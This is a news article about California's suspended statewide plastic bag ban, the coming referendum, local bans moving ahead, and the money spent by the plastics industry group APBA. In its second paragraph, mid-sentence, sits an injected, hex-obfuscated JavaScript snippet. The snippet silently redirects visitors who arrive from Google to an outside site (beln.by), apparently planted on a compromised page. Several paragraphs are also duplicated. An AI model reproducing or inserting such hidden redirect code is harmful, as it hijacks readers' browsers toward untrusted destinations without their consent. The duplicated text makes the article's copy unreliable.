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Plastic bag vote looms, but locals proceed anyway

A shopper totes his plastic bag across an intersection. (Photo: Connel, via Shutterstock)

California’s statewide law banning plastic bags may have been suspended pending the voters’ decision in the November referendum, but cities and counties are moving ahead with their own local bans.

The local laws would be exempt from the proposed statewide repeal var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. In the referendum, a “no” vote means the ban will be thrown out, a “yes” vote means the law will be left in place.

Before the state passed the plastic bag ban, communities had different standards across the state.

Scores of cities, including Santa Barbara and San Francisco, and dozens of counties, including Los Angeles, have adopted bans. So far, a total of 146 local governments, up from 128 in 2014, have approved laws curbing plastic bags.

Like the 2014 state law targeted by the referendum, the communities’ ordinances require stores to sell reusable bags or a recyclable paper bag to their customers at a cost of at least 10 cents.

“Early polling is that consumers are adapting to no plastic bags,” said Ronald Fong, head of the California Grocers Association, which supports the ban. “It’s really unfortunate that out-of-staters are sinking millions of dollars into telling us really that we’re wrong here in California.”

Last year, the American Progressive Bag Alliance, which represents the plastics manufacturing and recycling industry, raised $1.04 million from all out-of-state companies like Hilex Poly Co. from South Carolina and Formosa Plastics Corp. U.S.A. from New Jersey. In 2014, which is when it began its campaign to recall the statewide law against plastic bags, it received over $3.25 million, $71,000 of which came from in-state companies.

For low-income Californians, the different regulations threatened customer privacy and higher costs.

“We believe California voters share our concerns [threating plastic-industry jobs and having no ‘meaningful impact on the environment’] and will make their voices heard at the ballot . . .,” Lee Califf, executive director of APBA, said in a press release.

Fong, whose group donated $100,000 to the campaign supporting the plastic bag ban, is not the only one against the amount of money APBA is raising.

“It’s hard to watch how much money went into that effort [of repealing the law],” said Jessica Bartholow of the Western Center on Law and Poverty.

Before the state passed the plastic bag ban, communities had different standards across the state. This caused some “operational issues” for retailers as they had to deal with a “patchwork” of local ordinances, Fong noted.

For low-income Californians, the different regulations threatened customer privacy and higher costs.

Communities varied in whether it exempted welfare recipients from the fee, Bartholow said. Sometimes, communities would require customers to identify themselves as receivers of benefits, which is against federal law.

But Bartholow said that low-income Californians have not had problems with and the local bans – at least, so far – because the local laws follow the standard established by the suspended statewide plastic bag ban, which means those receiving a variety of state or local benefits are exempt from the fee.

The APBA has begun gathering signatures for an initiative that would have the 10-cent fee for the paper bag go into a special environmental fund instead of going to the stores.

Supporters of the ban believe the lack of grass-roots opposition suggests that the ban will be upheld.

“I don’t believe the plastic bag manufacturers will be successful,” Californians Against Waste Executive Director Mark Murray said. “At this point in time, they’re certainly not trying to persuade people to love their plastic bags.”

Nearly a third of California’s communities have banned plastic bags. They also have found that the percentage of consumers who do not use any bags at all —  plastic or paper — has risen dramatically over the last few years, from about 10 percent to 15 percent earlier, to an estimated 35 percent to 45 percent currently.

“Billions of bags that were really never needed” by consumers are being eliminated, Murray said. “When they have to pay for them, they avoid buying the bag.”

The APBA has begun gathering signatures for an initiative that would have the 10-cent fee for the paper bag go into a special environmental fund instead of going to the stores.

“But, should the [plastic bag] ban pass,” Califf said in a press release, “we want California voters to have the chance to decide where the tens to hundreds of millions of dollars from bag fees should go – either to increase grocers’ profits or to help fund worthy environmental causes.”

The state estimates the initiative would provide “several tens of millions of dollars annually” in state revenue if the initiative were to pass.

Murray said the APBA’s money could be better spent.

“If they cared about putting money into the environment, then they should just give that money to the state,” Murray said, rather than putting $25 million on a referendum.

Califf was quoted last year as calling California’s law banning plastic bags “a massive, billion dollar giveaway to grocers under the guise of environmentalism . . . Our industry is proud to give California voters a chance to overturn a deeply flawed, job-killing law or, at the very least, ensure bag fees are dedicated to helping the environment instead of increasing grocer profit margins.”

“Having an issue so simple as a plastic bag ban on the ballot,” Murray said, “[I] owe a sort of gratitude as this will motivate environmental voters to come out on Election Day.”

 


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